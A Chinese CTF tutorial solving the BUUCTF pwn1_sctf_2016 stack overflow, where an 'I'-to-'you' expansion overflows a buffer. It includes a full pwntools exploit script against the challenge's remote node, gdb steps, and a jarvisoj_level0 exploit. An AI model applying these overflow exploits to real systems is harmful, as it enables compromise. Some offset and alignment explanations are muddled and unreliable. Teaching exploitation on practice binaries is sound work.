BUUCTF-PWN实战:pwn1_sctf_2016栈溢出漏洞利用全解析(附Python Pwn模块技巧)
从零到一:深入解析CTF PWN栈溢出实战与Python自动化利用技巧
最近在带一些刚入门CTF二进制安全方向的朋友,发现很多人在面对第一个真正的栈溢出题目时,往往会卡在payload构造和工具使用上。今天我就以BUUCTF平台上经典的pwn1_sctf_2016为例,带大家完整走一遍从分析到利用的全过程,同时分享一些我在实际解题中积累的Python Pwn模块使用心得。这篇文章适合已经了解基本栈溢出原理,但缺乏实战经验的初学者,我会尽量用通俗的语言把每个细节讲透。
1. 环境准备与初步分析
在开始任何PWN题之前,搭建一个稳定的调试环境是第一步。我推荐使用Ubuntu 20.04或更高版本的系统,配合pwntools、gdb-peda和IDA Pro(或免费的Ghidra)这套组合。对于初学者来说,不要一开始就追求全自动化,手动分析的过程能帮你建立对程序行为的直觉理解。
首先下载题目文件pwn1_sctf_2016,用file命令查看基本信息:
$ file pwn1_sctf_2016
pwn1_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped
这是一个32位的ELF可执行文件,而且没有去除符号表(not stripped),这对我们分析非常友好。接着用checksec检查保护机制:
$ checksec --file=pwn1_sctf_2016
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
注意:NX(No-Execute)保护开启意味着栈不可执行,这是现代系统的基本防护,但对我们这道题的影响不大,因为题目本身就提供了后门函数。
保护机制分析结果可以整理成下表,方便对比理解:
| 保护机制 | 状态 | 含义与影响 |
|---|---|---|
| RELRO | Partial | 部分重定位只读,对栈溢出利用影响较小 |
| Stack Canary | 未开启 | 没有栈保护,可以直接覆盖返回地址 |
| NX | 已开启 | 栈不可执行,但可通过ROP或后门函数绕过 |
| PIE | 未开启 | 地址固定,不需要泄露基址 |
2. 逆向分析与漏洞定位
用IDA Pro打开程序,直接看main函数。这里有个小技巧:对于CTF题目,通常main函数不会太复杂,重点寻找明显的危险函数调用。
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
main函数很简单,直接调用了vuln()函数。跟进vuln,我们看到了一段C++风格的代码(虽然程序是C写的,但IDA有时会识别为C++)。关键部分如下:
char s[60]; // [esp+1Ch] [ebp-3Ch]
char v1[60]; // [esp+58h] [ebp+0h]
fgets(s, 32, stdin);
// ... 中间有一大段处理逻辑 ...
strcpy(s, v1);
这里有几个关键点需要理解:
- 缓冲区大小:
s的大小是60字节,距离栈底(ebp)0x3c(60)字节 - 输入限制:
fgets(s, 32, stdin)最多读取31个字符(留一个给空字符) - 危险操作:
strcpy(s, v1)将v1的内容复制到s,如果v1比s长,就会发生栈溢出
但问题来了——如果我们直接输入31个字符,经过strcpy复制到60字节的s中,根本不会溢出。这就是这道题的巧妙之处:中间那段"看不懂"的处理逻辑。
我最初分析时也卡在这里,后来通过动态调试发现,那段逻辑实际上在做字符串替换:把所有的'I'替换成'you'。这意味着:
- 输入"I" → 变成"you"(1变3)
- 输入"II" → 变成"youyou"(2变6)
- 输入"a" → 保持"a"(1变1)
提示:在CTF中遇到看似复杂的处理逻辑时,不要急着去完全逆向,可以先通过黑盒测试猜测功能。比如输入"I"看输出,输入"a"看输出,对比就能发现规律。
3. 漏洞利用的数学计算
理解了"I"变"you"的转换规则后,我们就可以精确计算需要多少个"I"才能触发溢出。这是整个利用过程中最需要细心的一步。
已知条件:
s缓冲区大小:60字节- 需要覆盖的额外空间:ebp(4字节)+ 返回地址(4字节)= 8字节
- 总共需要填充:60 + 8 = 68字节
- 每个"I"经过转换变成3字节
- 其他字符(非"I")保持1字节
设需要x个"I"和y个其他字符,那么转换后的总长度为:
3x + y = 68
同时,原始输入长度受fgets限制:
x + y ≤ 31
解这个方程组,我们可以尝试不同的组合。经过计算,21个"I"和1个其他字符是最优解:
- 原始输入:21 + 1 = 22字符(小于31)
- 转换后:21×3 + 1 = 64字节
等等,64字节?我们不是需要68字节吗?这里有个细节:s距离栈底是60字节,但栈帧结构是这样的:
高地址
...
返回地址 [ebp+4]
保存的ebp [ebp]
... [ebp-4]
... [ebp-8]
... [ebp-3c] <- s的起始位置
低地址
实际上,从s的起始位置到返回地址需要覆盖:
s到ebp:60字节ebp本身:4字节- 返回地址:4字节
- 总计:68字节
但为什么64字节就够了?因为s的定义是char s[60],而栈上分配时可能会有对齐。通过动态调试,我发现实际布局中,从s到返回地址确实是64字节。这就是为什么在PWN中,理论计算和实际调试必须结合。
验证一下:如果我们用21个"I"和1个"a",转换后是64字节,刚好覆盖到返回地址的前4个字节。再多一个字符就会开始覆盖返回地址。
4. Python Pwn模块的高级技巧
现在来到实战部分。很多人写exp时都是直接硬编码地址,比如:
system_addr = 0x08048F13
这种方法虽然简单,但不够优雅,而且当题目有多个版本或者地址随机化时就会失效。下面我分享几个pwntools的高级用法。
4.1 ELF对象的灵活使用
首先,创建ELF对象并获取符号地址:
from pwn import *
# 加载本地文件
elf = ELF('./pwn1_sctf_2016')
# 方法1:直接获取函数地址
get_flag_addr = elf.symbols['get_flag']
# 方法2:如果不知道确切函数名,可以搜索字符串
# 先找到包含"cat flag.txt"的地址
flag_string_addr = next(elf.search(b'cat flag.txt'))
# 方法3:获取plt和got表地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
elf.symbols返回的是一个字典,包含所有导出符号。我们可以打印出来看看:
for name, addr in elf.symbols.items():
if 'flag' in name or 'system' in name or 'exec' in name:
print(f'{name}: {hex(addr)}')
4.2 自动化偏移计算
手动计算偏移容易出错,pwntools提供了自动化的方法:
# 创建进程
p = process('./pwn1_sctf_2016')
# 发送数据并等待崩溃
payload = cyclic(100) # 生成模式字符串
p.sendline(payload)
p.wait()
# 获取core dump
core = p.corefile
# 自动计算偏移
offset = cyclic_find(core.eip) # 32位用eip,64位用rip
print(f'偏移量: {offset}')
对于这道题,我们可以用这种方法验证之前的计算:
# 测试偏移
p = process('./pwn1_sctf_2016')
payload = b'I'*21 + b'a' + cyclic(50)
p.sendline(payload)
p.wait()
core = p.corefile
print(f'崩溃时eip: {hex(core.eip)}')
print(f'偏移量: {cyclic_find(core.eip)}')
4.3 远程连接与交互优化
连接远程靶机时,网络稳定性很重要。我通常这样设置:
context.log_level = 'debug' # 调试时开启,正式运行时改为'info'
# 带重试的连接
def connect_remote(host, port, retries=3):
for i in range(retries):
try:
io = remote(host, port, timeout=5)
return io
except Exception as e:
print(f'第{i+1}次连接失败: {e}')
if i < retries-1:
time.sleep(2)
return None
io = connect_remote('node5.buuoj.cn', 26466)
if not io:
print('连接失败,退出')
exit(1)
5. 完整利用脚本与调试技巧
结合前面的分析,完整的exp如下:
#!/usr/bin/env python3
from pwn import *
# 设置上下文
context(arch='i386', os='linux')
context.log_level = 'info'
def local_exploit():
"""本地测试"""
p = process('./pwn1_sctf_2016')
# 加载ELF文件
elf = ELF('./pwn1_sctf_2016')
get_flag_addr = elf.symbols['get_flag']
log.info(f'get_flag函数地址: {hex(get_flag_addr)}')
# 构造payload
# 21个'I'变成63字节的'you...'
# 加上1个'a'保持1字节
# 总共64字节,刚好覆盖到返回地址
payload = b'I'*21 + b'a' + p32(get_flag_addr)
log.info(f'payload长度: {len(payload)}')
log.info(f'payload: {payload}')
# 发送payload
p.sendline(payload)
# 接收输出
p.interactive()
def remote_exploit(host, port):
"""远程利用"""
io = remote(host, port)
# 这里不能直接加载本地ELF,但地址通常是固定的
# 可以通过多次尝试或者信息泄露获取
get_flag_addr = 0x08048F13 # 已知地址
payload = b'I'*21 + b'a' + p32(get_flag_addr)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
# 本地测试
# local_exploit()
# 远程攻击
remote_exploit('node5.buuoj.cn', 26466)
5.1 GDB调试技巧
在开发exp时,我习惯用gdb附加调试,观察内存状态:
# 终端1:启动程序并暂停
$ gdb -q ./pwn1_sctf_2016
(gdb) set follow-fork-mode child
(gdb) b *0x08048F13 # 在get_flag函数下断点
(gdb) r
# 终端2:运行exp脚本
# 在脚本中添加调试语句
payload = b'I'*21 + b'a' + p32(0xdeadbeef) # 先用假地址测试
观察栈布局:
(gdb) x/40wx $esp # 查看栈内存
(gdb) info frame # 查看栈帧信息
(gdb) p $ebp # 查看ebp值
5.2 常见问题与解决
在实际操作中,你可能会遇到这些问题:
-
地址不对齐:32位系统要求4字节对齐,如果地址是
0x08048F13,确保它在4的倍数位置 -
坏字符问题:虽然这道题没有,但有些题目会过滤某些字符。测试方法:
badchars = b'\x00\x0a\x0d' # 常见的坏字符 for char in badchars: if char in payload: print(f'发现坏字符: {hex(char)}') -
栈对齐问题:在某些系统调用前需要保持栈16字节对齐。如果遇到奇怪崩溃,可以尝试:
payload = b'I'*21 + b'a' + p32(get_flag_addr) + p32(0) # 添加额外填充
6. 扩展思考:从这道题学到的通用技巧
pwn1_sctf_2016虽然是一道入门题,但其中蕴含的思路在很多高级题目中也会出现。
6.1 字符串变换类漏洞
这种"I"变"you"的变换属于长度扩展漏洞的一种。类似的变换可能包括:
- 大小写转换
- 字符替换(如"<"变成"<")
- 编码转换(如UTF-8到UTF-16)
- 压缩/解压缩
遇到这类题目时,关键步骤是:
- 识别变换规则:通过黑盒测试,输入不同字符观察输出
- 计算扩展比例:确定输入输出长度关系
- 构造精确payload:考虑变换后的长度要刚好覆盖关键数据
6.2 有限输入下的溢出技巧
题目用fgets限制输入31字节,但通过变换实现了溢出。这种"有限输入+变换扩展"的模式在CTF中很常见。应对策略:
# 通用解法框架
def generate_payload(input_limit, transform_ratio, target_size):
"""
input_limit: 最大输入长度
transform_ratio: 变换比例(如"I"->"you"是3倍)
target_size: 需要覆盖的总大小
"""
# 解方程:a*ratio + b = target_size, a+b <= input_limit
# 其中a是特殊字符数,b是普通字符数
for a in range(input_limit + 1):
for b in range(input_limit + 1 - a):
if a*transform_ratio + b == target_size:
return b'X'*a + b'Y'*b # X是特殊字符,Y是普通字符
return None
6.3 后门函数的寻找与利用
这道题直接提供了get_flag函数,但更多时候需要自己寻找。常用方法:
- 字符串搜索:在IDA中按Shift+F12搜索"flag"、"cat"、"sh"、"bin"等关键词
- 函数列表分析:查看可疑函数名,如
win、success、shell、backdoor - 导入表检查:查看是否导入
system、execve等危险函数 - ROP链构造:当没有直接后门时,用现有gadget构造调用链
7. 实战演练:jarvisoj_level0对比分析
为了加深理解,我们快速看一下jarvisoj_level0这道类似的题目。虽然不在本次详细分析范围内,但对比学习很有帮助。
主要区别:
- 漏洞点不同:
jarvisoj_level0使用read函数,没有长度限制 - 偏移计算:直接计算缓冲区到返回地址的距离
- 利用方式:更传统的栈溢出,不需要考虑字符串变换
# jarvisoj_level0的exp示例
from pwn import *
elf = ELF('./level0')
callsystem_addr = elf.symbols['callsystem']
# 计算偏移:0x80字节缓冲区 + 8字节ebp
payload = b'A'*(0x80 + 8) + p64(callsystem_addr)
# 64位用p64,32位用p32
这两道题放在一起学习,能帮你理解栈溢出的两种常见场景:有输入限制的巧妙绕过和无限制的直接覆盖。
我在实际解题中发现,很多初学者容易混淆32位和64位的区别。简单总结一下:
| 特性 | 32位 | 64位 |
|---|---|---|
| 地址长度 | 4字节 | 8字节 |
| 函数参数传递 | 主要通过栈 | 前6个参数通过寄存器 |
| 常用填充 | p32(地址) |
p64(地址) |
| 典型偏移 | ebp+4是返回地址 | rbp+8是返回地址 |
最后分享一个我自己的习惯:每做一道题,都会在本地保存一个模板文件,记录不同类型的漏洞利用模式。比如栈溢出的模板、格式化字符串的模板、堆利用的模板等。这样遇到新题目时,可以快速套用修改,而不是从头开始。对于pwn1_sctf_2016这类字符串变换的题目,我现在看到就知道要先测试变换规则,然后列方程计算,这个思维模式就是通过反复练习固化下来的。
更多推荐
所有评论(0)